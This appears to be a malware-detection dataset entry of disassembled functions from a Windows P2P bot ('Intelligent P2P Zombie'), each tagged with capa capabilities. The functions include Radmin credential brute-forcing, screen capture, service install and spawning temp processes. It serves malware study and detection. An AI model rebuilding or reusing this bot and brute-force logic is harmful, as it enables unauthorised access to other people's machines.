joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401375
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
xor esi, esi
push str._nIntelligent_P2P_Zombie
mov dword [ebp - 0x10], esi
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], esi
call fcn.00464450
mov dword [esp], str.Made_in_USSR_n
call fcn.00464450
pop ecx
call fcn.0040353d
call fcn.00402fa1
test eax, eax
je 0x401519
call fcn.00403e19
test eax, eax
jne 0x401514
push ebx
push edi
xor edi, edi
inc edi
cmp dword [ebp + 8], edi
mov ebx, edi
jle 0x4014d8
mov eax, dword [ebp + 0xc]
lea esi, [eax + ebx*4]
push str.__service
push dword [esi]
call fcn.0046752d
test eax, eax
pop ecx
pop ecx
je 0x401485
push 0x4724c0
push dword [esi]
call fcn.0046752d
test eax, eax
pop ecx
pop ecx
je 0x401485
push str.__install
push dword [esi]
call fcn.0046752d
test eax, eax
pop ecx
pop ecx
je 0x401480
push 0x4724b0
push dword [esi]
call fcn.0046752d
test eax, eax
pop ecx
pop ecx
je 0x401480
push str.__remove
push dword [esi]
call fcn.0046752d
test eax, eax
pop ecx
pop ecx
je 0x40147b
push 0x4724a0
push dword [esi]
call fcn.0046752d
test eax, eax
pop ecx
pop ecx
je 0x40147b
push str.__log
push dword [esi]
call fcn.0046752d
test eax, eax
pop ecx
pop ecx
je 0x401473
push 0x472494
push dword [esi]
call fcn.0046752d
test eax, eax
pop ecx
pop ecx
je 0x401473
mov dword [ebp - 4], edi
jmp 0x401488
mov dword [0x4a30e0], edi
jmp 0x401488
mov dword [ebp - 0xc], edi
jmp 0x401488
mov dword [ebp - 8], edi
jmp 0x401488
mov dword [ebp - 0x10], edi
inc ebx
cmp ebx, dword [ebp + 8]
jl 0x4013d0
xor eax, eax
cmp dword [ebp - 4], eax
je 0x4014be
push str._i____install___install_service
call fcn.00464450
mov dword [esp], str._r____remove___remove_service
call fcn.00464450
mov dword [esp], str._l____log___enable_logging
call fcn.00464450
pop ecx
jmp 0x40150d
cmp dword [ebp - 8], eax
je 0x4014ca
call fcn.004011c3
jmp 0x40150d
cmp dword [ebp - 0xc], eax
je 0x4014d6
call fcn.004012bd
jmp 0x40150d
xor esi, esi
push esi
push esi
push esi
call dword [sym.imp.No_such_device_CreateMutexA]
mov esi, eax
test esi, esi
je 0x40150d
call dword [sym.imp.No_such_device_GetLastError]
cmp eax, 0xb7
je 0x401506
cmp dword [ebp - 0x10], 0
je 0x401501
call fcn.004010df
jmp 0x401506
call fcn.00401129
push esi
call dword [sym.imp.No_such_device_CloseHandle]
call fcn.00403e25
pop edi
pop ebx
call fcn.00402fb6
xor eax, eax
pop esi
leave
ret
Function at 0x40154a
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, dword [ebp + 8]
cmp dword [esi + 0x3590], 0
je 0x401605
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.No_such_device_GetLocalTime]
push 0xffffffffffffffff
push dword [esi + 0x358c]
call dword [sym.imp.No_such_device_WaitForSingleObject]
test eax, eax
jne 0x401605
push ebx
push 0x400
call fcn.004646c7
mov ebx, eax
test ebx, ebx
pop ecx
je 0x4015f8
push edi
push str.log.txt
push dword [esi + 0x4c]
push 0x47252c
push ebx
call fcn.004645c8
push 0x472528
push ebx
call fcn.00464830
mov edi, eax
add esp, 0x18
test edi, edi
je 0x4015f0
push dword [ebp + 0xc]
movzx eax, word [ebp - 4]
push eax
movzx eax, word [ebp - 6]
push eax
movzx eax, word [ebp - 8]
push eax
movzx eax, word [ebp - 0x10]
push eax
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0xa]
push eax
push str.__02d._02d._d__02d:_02d:_02d___s
push edi
call fcn.00464776
push edi
call fcn.00464725
add esp, 0x28
push ebx
call fcn.00464557
pop ecx
pop edi
push dword [esi + 0x358c]
call dword [sym.imp.No_such_device_ReleaseMutex]
pop ebx
push dword [ebp + 0xc]
call dword [sym.imp.No_such_device_OutputDebugStringA]
pop esi
leave
ret

Function at 0x402523
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push 0x400
call fcn.004646c7
mov ebx, eax
xor edi, edi
cmp ebx, edi
pop ecx
mov dword [ebp - 4], ebx
je 0x4025fc
mov esi, dword [ebp + 8]
push str.ipz_db.bin
push dword [esi + 0x4c]
push 0x47252c
push ebx
call fcn.004645c8
add esp, 0x10
push edi
push 0x80
push 4
push edi
push 1
push 0xc0000000
push ebx
call dword [sym.imp.No_such_device_CreateFileA]
cmp eax, 0xffffffff
mov dword [esi + 0x50], eax
je 0x4025f3
push edi
push eax
call dword [sym.imp.No_such_device_GetFileSize]
push edi
mov ebx, 0x11a8
push ebx
push edi
push 4
push edi
push dword [esi + 0x50]
mov dword [ebp - 8], eax
call dword [sym.imp.No_such_device_CreateFileMappingA]
cmp eax, edi
mov dword [esi + 0x54], eax
je 0x4025ea
push edi
push edi
push edi
push 6
push eax
call dword [sym.imp.No_such_device_MapViewOfFile]
cmp eax, edi
mov dword [esi + 0x58], eax
je 0x4025e1
cmp dword [ebp - 8], ebx
jb 0x4025c8
cmp dword [eax + 4], ebx
jne 0x4025c8
cmp dword [eax], 0x4b435546
je 0x4025d3
push esi
call fcn.004024dd
test eax, eax
pop ecx
je 0x4025e1
push dword [ebp - 4]
call fcn.00464557
xor eax, eax
pop ecx
inc eax
jmp 0x4025fe
push dword [esi + 0x54]
call dword [sym.imp.No_such_device_CloseHandle]
push dword [esi + 0x50]
call dword [sym.imp.No_such_device_CloseHandle]
push dword [ebp - 4]
call fcn.00464557
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402672
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
xor ebx, ebx
push 0x3594
inc ebx
push ebx
call fcn.00464c2d
mov esi, eax
xor edi, edi
cmp esi, edi
pop ecx
pop ecx
je 0x402744
push esi
call fcn.00402625
test eax, eax
pop ecx
je 0x402744
push esi
call fcn.00402523
test eax, eax
pop ecx
je 0x40273b
xor ecx, ecx
mov eax, dword [esi + 0x58]
add eax, ecx
cmp dword [eax + 0x20], edi
je 0x4026be
mov dword [eax + 0x28], ebx
add ecx, 0x20
cmp ecx, 0xc80
jl 0x4026b1
mov ebx, dword [sym.imp.No_such_device_CreateMutexA]
push edi
push edi
push edi
call ebx
push edi
push edi
push edi
mov dword [esi + 0x5c], eax
call ebx
push str.Peer_started_n_n
push esi
mov dword [esi + 0x358c], eax
call fcn.0040154a
mov eax, dword [esi + 0x58]
push dword [eax]
mov ax, word [eax + 0x14]
push eax
call fcn.00402e05
add esp, 0x10
cmp eax, edi
mov dword [esi + 0x48], eax
je 0x402734
push ebp
push 0x10
lea ebx, [esi + 4]
pop ebp
push edi
push edi
push esi
push 0x402010
push edi
push edi
call dword [sym.imp.No_such_device_CreateThread]
mov dword [ebx], eax
add ebx, 4
dec ebp
jne 0x40270d
mov eax, dword [esp + 0x14]
mov dword [esi + 0x3590], eax
mov eax, esi
pop ebp
jmp 0x402746
push esi
call fcn.00402603
pop ecx
push dword [esi + 0x4c]
call fcn.00464557
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0x402770
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x402816
push ebx
push edi
push 0x9c4
push 1
lea edi, [esi + 4]
push edi
push 0x10
pop ebx
push ebx
mov dword [esi], 1
call dword [sym.imp.No_such_device_WaitForMultipleObjects]
mov dword [ebp + 8], ebx
mov ebx, dword [sym.imp.No_such_device_CloseHandle]
push 0
push dword [edi]
call dword [sym.imp.No_such_device_WaitForSingleObject]
test eax, eax
je 0x4027bd
push 1
push dword [edi]
call dword [sym.imp.No_such_device_TerminateThread]
push dword [edi]
call ebx
add edi, 4
dec dword [ebp + 8]
jne 0x4027a5
push dword [esi + 0x48]
call fcn.00402ed5
mov dword [esp], str.Peer_stopped_n_n
push esi
call fcn.0040154a
pop ecx
pop ecx
push dword [esi + 0x5c]
call ebx
push dword [esi + 0x358c]
call ebx
push esi
call fcn.00402603
push dword [esi + 0x64]
call fcn.0040274a
push dword [esi + 0x60]
call fcn.0040274a
push dword [esi + 0x4c]
call fcn.00464557
push esi
call fcn.00464557
add esp, 0x14
pop edi
pop ebx
pop esi
pop ebp
ret

Function at 0x402819
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 0xc]
cmp edx, 4
mov eax, dword [esp + 8]
push esi
mov esi, dword [esp + 8]
mov ecx, dword [esi]
jb 0x40283e
shr edx, 2
xor dword [eax], ecx
add eax, 4
add ecx, 0x1ee7d34d
dec edx
jne 0x402830
mov dword [esi], ecx
pop esi
ret
Function at 0x402fbb
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
mov eax, dword [0x4a2190]
push ebx
push esi
push edi
mov esi, str.qwertyuilkjhzxcv
lea edi, [ebp - 0x20]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 8
mov dword [ebp - 4], eax
lea esi, [ebp - 0x10]
pop edi
call fcn.00403626
and eax, 0xf
mov al, byte [ebp + eax - 0x20]
mov byte [esi], al
inc esi
dec edi
jne 0x402fde
xor ebx, ebx
mov byte [esi], bl
mov esi, 0x400
push esi
call fcn.004646c7
push esi
mov dword [ebp - 0x24], eax
call fcn.004646c7
cmp dword [ebp - 0x24], ebx
pop ecx
pop ecx
mov edi, eax
je 0x4030a3
cmp edi, ebx
je 0x4030a3
push dword [ebp - 0x24]
push esi
call dword [sym.imp.No_such_device_GetTempPathA]
test eax, eax
je 0x4030a3
push edi
push ebx
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x24]
call dword [sym.imp.No_such_device_GetTempFileNameA]
test eax, eax
je 0x4030a3
push 0x4729b4
push edi
call fcn.00464830
mov esi, eax
cmp esi, ebx
pop ecx
pop ecx
je 0x4030a3
push esi
push dword [ebp + 0xc]
push 1
push dword [ebp + 8]
call fcn.00464def
push esi
call fcn.00464725
push 0x44
pop esi
push esi
lea eax, [ebp - 0x78]
push ebx
push eax
call fcn.004643f0
add esp, 0x20
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x78]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push edi
mov dword [ebp - 0x78], esi
call dword [sym.imp.No_such_device_CreateProcessA]
test eax, eax
je 0x4030a3
push dword [ebp - 0x34]
mov esi, dword [sym.imp.No_such_device_CloseHandle]
call esi
push dword [ebp - 0x30]
call esi
push dword [ebp - 0x24]
call fcn.00464557
push edi
call fcn.00464557
pop ecx
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.00464bee
leave
ret
Function at 0x4033c6
Capabilities:
Capture screenshot

Disassembly:
push ebp
lea ebp, [esp - 0x168]
sub esp, 0x1e8
mov eax, dword [0x4a2190]
push esi
push edi
mov esi, 0x1a8
xor edi, edi
push esi
mov dword [ebp + 0x164], eax
lea eax, [ebp - 0x44]
push edi
push eax
mov dword [ebp - 0x58], edi
call fcn.004643f0
add esp, 0xc
push edi
lea eax, [ebp - 0x44]
push eax
push edi
push edi
mov dword [ebp - 0x44], esi
call dword [sym.imp.ce_EnumDisplayDevicesA]
test eax, eax
je 0x403525
push edi
push edi
lea eax, [ebp - 0x40]
push eax
push str.DISPLAY
call dword [sym.imp.xists_CreateDCA]
mov esi, eax
cmp esi, edi
mov dword [ebp - 0x48], esi
je 0x403525
push esi
call dword [sym.imp.xists_CreateCompatibleDC]
cmp eax, edi
mov dword [ebp - 0x50], eax
je 0x40351c
push ebx
push 8
push esi
mov esi, dword [sym.imp.xists_GetDeviceCaps]
call esi
push 0xa
push dword [ebp - 0x48]
mov ebx, eax
call esi
push eax
push ebx
push dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
call dword [sym.imp.xists_CreateCompatibleBitmap]
cmp eax, edi
mov dword [ebp - 0x54], eax
je 0x403512
push eax
push dword [ebp - 0x50]
call dword [sym.imp.xists_SelectObject]
push 0xcc0020
push edi
push edi
push dword [ebp - 0x48]
push dword [ebp - 0x4c]
push ebx
push edi
push edi
push dword [ebp - 0x50]
call dword [sym.imp.xists_BitBlt]
lea esi, [ebx + 1]
imul esi, esi, 3
push 0x28
lea eax, [ebp - 0x80]
push edi
and esi, 0xfffffffc
imul esi, dword [ebp - 0x4c]
push eax
call fcn.004643f0
mov eax, dword [ebp - 0x4c]
push esi
mov dword [ebp - 0x80], 0x28
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], eax
mov word [ebp - 0x72], 0x18
mov word [ebp - 0x74], 1
mov dword [ebp - 0x70], edi
mov dword [ebp - 0x6c], esi
call fcn.004646c7
mov ebx, eax
add esp, 0x10
cmp ebx, edi
je 0x403509
push edi
lea eax, [ebp - 0x80]
push eax
push ebx
push dword [ebp - 0x4c]
push edi
push dword [ebp - 0x54]
push dword [ebp - 0x48]
call dword [sym.imp.xists_GetDIBits]
mov eax, dword [ebp + 0x170]
mov dword [eax], ebx
mov eax, dword [ebp + 0x174]
mov dword [eax], esi
mov dword [ebp - 0x58], 1
push dword [ebp - 0x54]
call dword [sym.imp.xists_DeleteObject]
push dword [ebp - 0x50]
call dword [sym.imp.xists_DeleteDC]
pop ebx
push dword [ebp - 0x48]
call dword [sym.imp.xists_DeleteDC]
mov ecx, dword [ebp + 0x164]
mov eax, dword [ebp - 0x58]
pop edi
pop esi
call fcn.00464bee
add ebp, 0x168
leave
ret
Function at 0x40353d
Capabilities:
Encode data using xor
Get memory capacity
Terminate process

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0xe4
mov eax, dword [0x4a2190]
mov dword [ebp + 0x74], eax
mov dword [ebp - 0x6c], 0x58
call dword [sym.imp.No_such_device_GetTickCount]
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.No_such_device_GetSystemTime]
lea eax, [ebp - 0x54]
push eax
call dword [sym.imp.No_such_device_GlobalMemoryStatus]
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.ce_GetDesktopWindow]
push eax
call dword [sym.imp.ce_GetWindowRect]
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.ce_GetCursorPos]
call dword [sym.imp.No_such_device_GetCurrentProcessId]
mov dword [ebp - 0x1c], eax
call dword [sym.imp.No_such_device_GetCurrentThreadId]
mov dword [ebp - 0x18], eax
lea eax, [ebp + 0x34]
push eax
lea eax, [ebp - 0x6c]
push 0x58
push eax
call fcn.00406f2c
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.004033c6
add esp, 0x14
test eax, eax
je 0x4035ef
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x10]
call fcn.00406f2c
add esp, 0xc
xor eax, eax
mov cl, byte [ebp + eax - 0xc]
xor byte [ebp + eax + 0x34], cl
inc eax
cmp eax, 0x40
jb 0x4035d8
push dword [ebp - 0x10]
call fcn.00464557
pop ecx
lea eax, [ebp + 0x34]
push 0x40
push eax
call fcn.00406ab0
pop ecx
pop ecx
push 0
push 0
push 0
call dword [sym.imp.No_such_device_CreateMutexA]
test eax, eax
mov dword [0x4a60cc], eax
jne 0x403619
push 1
call dword [sym.imp.No_such_device_ExitProcess]
mov ecx, dword [ebp + 0x74]
call fcn.00464bee
add ebp, 0x78
leave
ret

Function at 0x403626
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0xffffffffffffffff
push dword [0x4a60cc]
call dword [sym.imp.No_such_device_WaitForSingleObject]
test eax, eax
jne 0x40364d
lea eax, [ebp - 4]
push 4
push eax
call fcn.00406aef
test eax, eax
pop ecx
pop ecx
jne 0x403655
push 1
call dword [sym.imp.No_such_device_ExitProcess]
push dword [0x4a60cc]
call dword [sym.imp.No_such_device_ReleaseMutex]
mov eax, dword [ebp - 4]
leave
ret
Function at 0x403a00
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
lea ebp, [esp - 0x6c]
sub esp, 0xb4
mov eax, dword [0x4a2190]
push ebx
push esi
mov esi, dword [ebp + 0x78]
mov dword [ebp + 0x68], eax
movzx eax, word [esi + 4]
push edi
push eax
movzx eax, byte [esi]
push eax
movzx eax, byte [esi + 1]
push eax
movzx eax, byte [esi + 2]
push eax
movzx eax, byte [esi + 3]
push eax
lea eax, [ebp + 0x48]
push str._d._d._d._d:_d
xor edi, edi
push eax
mov dword [ebp - 0x3c], edi
call fcn.004645c8
lea eax, [ebp + 0x48]
push eax
mov eax, dword [ebp + 0x7c]
push dword [eax + 0x14]
lea eax, [ebp - 0x38]
push str.brute:_found_radmin__s_server__s_n
push eax
call fcn.004645c8
lea eax, [ebp - 0x38]
push eax
mov eax, dword [ebp + 0x74]
push dword [eax]
call fcn.0040154a
add esp, 0x34
mov dword [ebp - 0x40], edi
mov dword [ebp + 0x78], edi
mov dword [ebp - 0x44], edi
jmp 0x403a7a
xor edi, edi
mov eax, dword [ebp + 0x74]
cmp dword [eax + 4], edi
jne 0x403b40
cmp dword [ebp + 0x78], 5
jge 0x403b40
mov eax, dword [ebp - 0x44]
mov edi, dword [eax + 0x49f150]
mov eax, dword [ebp - 0x40]
mov ebx, dword [eax*4 + 0x49f1a0]
push edi
call fcn.00465000
cmp eax, 1
pop ecx
jae 0x403ad5
mov dword [ebp - 0x3c], 0x10
mov eax, dword [ebp - 0x3c]
sub eax, 0xf
je 0x403b27
dec eax
je 0x403b94
dec eax
je 0x403b7e
mov dword [ebp + 0x78], 5
jmp 0x403b36
push ebx
call fcn.00465000
cmp eax, 6
pop ecx
jae 0x403aea
mov dword [ebp - 0x3c], 0x11
jmp 0x403ab6
lea eax, [ebp - 0x48]
push eax
push 4
push ebx
push edi
push dword [ebp + 0x7c]
push esi
call fcn.00405a49
add esp, 0x18
cmp eax, 0xc
mov dword [ebp - 0x3c], eax
jg 0x403ab6
cmp eax, 0xc
je 0x403b27
test eax, eax
je 0x403b9e
cmp eax, 2
jle 0x403acc
cmp eax, 4
jle 0x403b27
cmp eax, 6
jle 0x403acc
cmp eax, 8
jg 0x403acc
push 0x3c
push dword [ebp + 0x74]
call fcn.00403666
inc dword [ebp + 0x78]
pop ecx
pop ecx
cmp dword [ebp - 0x44], 0x50
jb 0x403a78
push dword [ebp - 0x3c]
call fcn.00403e0d
push eax
lea eax, [ebp + 0x48]
push eax
lea eax, [ebp - 0x38]
push str.brute:_fail_on__s_with_status___s__n
push eax
call fcn.004645c8
lea eax, [ebp - 0x38]
push eax
mov eax, dword [ebp + 0x74]
push dword [eax]
call fcn.0040154a
add esp, 0x1c
xor eax, eax
mov ecx, dword [ebp + 0x68]
pop edi
pop esi
pop ebx
call fcn.00464bee
add ebp, 0x6c
leave
ret
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xcc
je 0x403acc
and dword [ebp + 0x78], 0
jmp 0x403b36
add dword [ebp - 0x44], 4
and dword [ebp - 0x40], 0
jmp 0x403b8e
push ebx
push edi
lea eax, [ebp + 0x48]
push eax
lea eax, [ebp - 0x38]
push str.brute:_success_on__s_with_username___s__and_password___s__n
push eax
call fcn.004645c8
lea eax, [ebp - 0x38]
push eax
mov eax, dword [ebp + 0x74]
push dword [eax]
call fcn.0040154a
push dword [ebp - 0x48]
push ebx
push edi
push dword [ebp + 0x7c]
push esi
push dword [ebp + 0x74]
call fcn.0040368b
push dword [ebp - 0x48]
mov esi, eax
call fcn.00405b09
add esp, 0x38
mov eax, esi
jmp 0x403b6e
Function at 0x403be2
Capabilities:
Print debug messages

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x9c
mov eax, dword [0x4a2190]
push esi
mov esi, dword [ebp + 0x7c]
mov dword [ebp + 0x6c], eax
movzx eax, word [esi + 4]
push edi
push eax
movzx eax, byte [esi]
push eax
movzx eax, byte [esi + 1]
push eax
movzx eax, byte [esi + 2]
push eax
movzx eax, byte [esi + 3]
push eax
xor edi, edi
call dword [sym.imp.No_such_device_GetCurrentThreadId]
push eax
lea eax, [ebp - 0x14]
push str.Thread__d___trying_to_connect_to__d._d._d._d:_d_n
push eax
call fcn.004645c8
add esp, 0x20
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.No_such_device_OutputDebugStringA]
lea eax, [ebp - 0x2c]
push esi
push eax
call fcn.00404ddb
test eax, eax
pop ecx
pop ecx
jne 0x403c7b
cmp dword [ebp - 0x1c], edi
jne 0x403c7b
cmp dword [ebp - 0x24], edi
jne 0x403c7b
mov eax, dword [ebp - 0x2c]
dec eax
dec eax
je 0x403c69
dec eax
jne 0x403c7b
lea eax, [ebp - 0x2c]
push eax
push esi
push dword [ebp + 0x78]
call fcn.00403a00
jmp 0x403c76
lea eax, [ebp - 0x2c]
push eax
push esi
push dword [ebp + 0x78]
call fcn.0040384c
add esp, 0xc
mov edi, eax
mov ecx, dword [ebp + 0x6c]
mov eax, edi
pop edi
pop esi
call fcn.00464bee
add ebp, 0x70
leave
ret

Function at 0x403d6c
Capabilities:
Create thread

Disassembly:
push esi
push 0x148
push 1
call fcn.00464c2d
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x403db1
mov eax, dword [esp + 8]
push ebx
push edi
push 0x50
mov dword [esi], eax
lea edi, [esi + 8]
pop ebx
push 0
push 0
push esi
push 0x403cf8
push 0
push 0
call dword [sym.imp.No_such_device_CreateThread]
mov dword [edi], eax
add edi, 4
dec ebx
jne 0x403d8f
pop edi
pop ebx
mov eax, esi
pop esi
ret
xor eax, eax
pop esi
ret

Function at 0x403db5
Capabilities:
Terminate thread

Disassembly:
push edi
mov edi, dword [esp + 8]
test edi, edi
je 0x403e0b
push ebx
push esi
push 0x9c4
push 1
lea esi, [edi + 8]
push esi
push 0x50
pop ebx
push ebx
mov dword [edi + 4], 1
call dword [sym.imp.No_such_device_WaitForMultipleObjects]
push 0
push dword [esi]
call dword [sym.imp.No_such_device_WaitForSingleObject]
test eax, eax
je 0x403df4
push 1
push dword [esi]
call dword [sym.imp.No_such_device_TerminateThread]
push dword [esi]
call dword [sym.imp.No_such_device_CloseHandle]
add esi, 4
dec ebx
jne 0x403ddc
push edi
call fcn.00464557
pop ecx
pop esi
pop ebx
pop edi
ret
Function at 0x406bc5
Capabilities:
Hash data using sha256

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax], 0xf3bcc908
mov dword [eax + 4], 0x6a09e667
mov dword [eax + 8], 0x84caa73b
mov dword [eax + 0xc], 0xbb67ae85
mov dword [eax + 0x10], 0xfe94f82b
mov dword [eax + 0x14], 0x3c6ef372
mov dword [eax + 0x18], 0x5f1d36f1
mov dword [eax + 0x1c], 0xa54ff53a
mov dword [eax + 0x20], 0xade682d1
mov dword [eax + 0x24], 0x510e527f
mov dword [eax + 0x28], 0x2b3e6c1f
mov dword [eax + 0x2c], 0x9b05688c
mov dword [eax + 0x30], 0xfb41bd6b
mov dword [eax + 0x34], 0x1f83d9ab
mov dword [eax + 0x38], 0x137e2179
mov dword [eax + 0x3c], 0x5be0cd19
mov dword [eax + 0x40], ecx
mov dword [eax + 0x44], ecx
mov dword [eax + 0x48], ecx
mov dword [eax + 0x4c], ecx
mov dword [eax + 0xd0], ecx
mov dword [eax + 0xd4], 0x40
xor eax, eax
inc eax
ret
Function at 0x40df8f
Capabilities:
Access the windows event log

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x104
call fcn.004653a0
push ebx
push esi
push 0xfffffffffffffff4
call dword [sym.imp.No_such_device_GetStdHandle]
xor ebx, ebx
cmp eax, ebx
je 0x40dfd1
push eax
call dword [sym.imp.No_such_device_GetFileType]
test eax, eax
je 0x40dfd1
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
call fcn.00465772
add eax, 0x40
push eax
call fcn.00465d48
add esp, 0xc
jmp 0x40e04e
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push 0xff
push eax
call fcn.00465cf2
add esp, 0x10
mov byte [ebp - 5], bl
call dword [sym.imp.No_such_device_GetVersion]
cmp eax, 0x80000000
jae 0x40e039
call fcn.0040dea1
test eax, eax
jle 0x40e039
push str.OPENSSL
push ebx
call dword [sym.imp.e_RegisterEventSourceA]
push ebx
mov esi, eax
lea eax, [ebp - 0x104]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push ebx
push 1
push ebx
push ebx
push ebx
push 1
push esi
call dword [sym.imp.e_ReportEventA]
push esi
call dword [sym.imp.e_DeregisterEventSource]
jmp 0x40e04e
push 0x10
push str.OpenSSL:_FATAL
lea eax, [ebp - 0x104]
push eax
push ebx
call dword [sym.imp.ce_MessageBoxA]
lea esp, [ebp - 0x10c]
pop esi
pop ebx
leave
ret

Function at 0x412bf7
Capabilities:
Hash data using sha1

Disassembly:
push esi
mov esi, dword [esp + 8]
push 0x60
push 0
push esi
call fcn.004643f0
add esp, 0xc
xor eax, eax
mov dword [esi], 0x67452301
mov dword [esi + 4], 0xefcdab89
mov dword [esi + 8], 0x98badcfe
mov dword [esi + 0xc], 0x10325476
mov dword [esi + 0x10], 0xc3d2e1f0
inc eax
pop esi
ret
Function at 0x421f87
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0x18
pop eax
call fcn.004653a0
push ebx
push esi
push edi
push dword [ebp + 8]
call fcn.00465000
mov esi, dword [sym.imp.No_such_device_MultiByteToWideChar]
pop ecx
push 0
push 0
mov ebx, eax
inc ebx
push ebx
push dword [ebp + 8]
mov edi, 0xfde9
push 8
push edi
call esi
test eax, eax
mov dword [ebp - 8], eax
jle 0x422023
add eax, eax
add eax, 3
and al, 0xfc
call fcn.004653a0
mov dword [ebp - 4], esp
push dword [ebp - 8]
push dword [ebp - 4]
push ebx
push dword [ebp + 8]
push 8
push edi
call esi
test eax, eax
je 0x422043
push 8
lea eax, [ebp - 0x18]
push eax
push dword [ebp + 0xc]
call fcn.00465000
pop ecx
inc eax
push eax
push dword [ebp + 0xc]
push 0
push edi
call esi
test eax, eax
je 0x422043
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 4]
call fcn.0046732e
mov esi, eax
test esi, esi
pop ecx
pop ecx
jne 0x4220aa
call fcn.0046724d
cmp dword [eax], 2
jne 0x42203f
jmp 0x422030
call dword [sym.imp.No_such_device_GetLastError]
cmp eax, 0x459
jne 0x422043
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00464830
pop ecx
pop ecx
mov esi, eax
test esi, esi
jne 0x4220aa
push 0xa3
mov esi, str..crypto_bio_bss_file.c
push esi
call dword [sym.imp.No_such_device_GetLastError]
push eax
push 1
push 2
call fcn.0040cdf7
push 0x483d7c
push dword [ebp + 0xc]
push 0x483d78
push dword [ebp + 8]
push str.fopen_
push 5
call fcn.0040cb51
add esp, 0x2c
call fcn.0046724d
cmp dword [eax], 2
jne 0x422094
push 0xa6
push esi
push 0x80
jmp 0x42209c
push 0xa8
push esi
push 2
push 0x6d
push 0x20
call fcn.0040cdf7
add esp, 0x14
jmp 0x4220c2
push 0x49f8a8
call fcn.0041d024
mov edi, eax
test edi, edi
pop ecx
jne 0x4220c6
push esi
call fcn.00464725
pop ecx
xor eax, eax
jmp 0x4220de
push 0
push edi
call fcn.0041cba2
push esi
push 1
push 0x6a
push edi
call fcn.0041ce5a
add esp, 0x18
mov eax, edi
lea esp, [ebp - 0x24]
pop edi
pop esi
pop ebx
leave
ret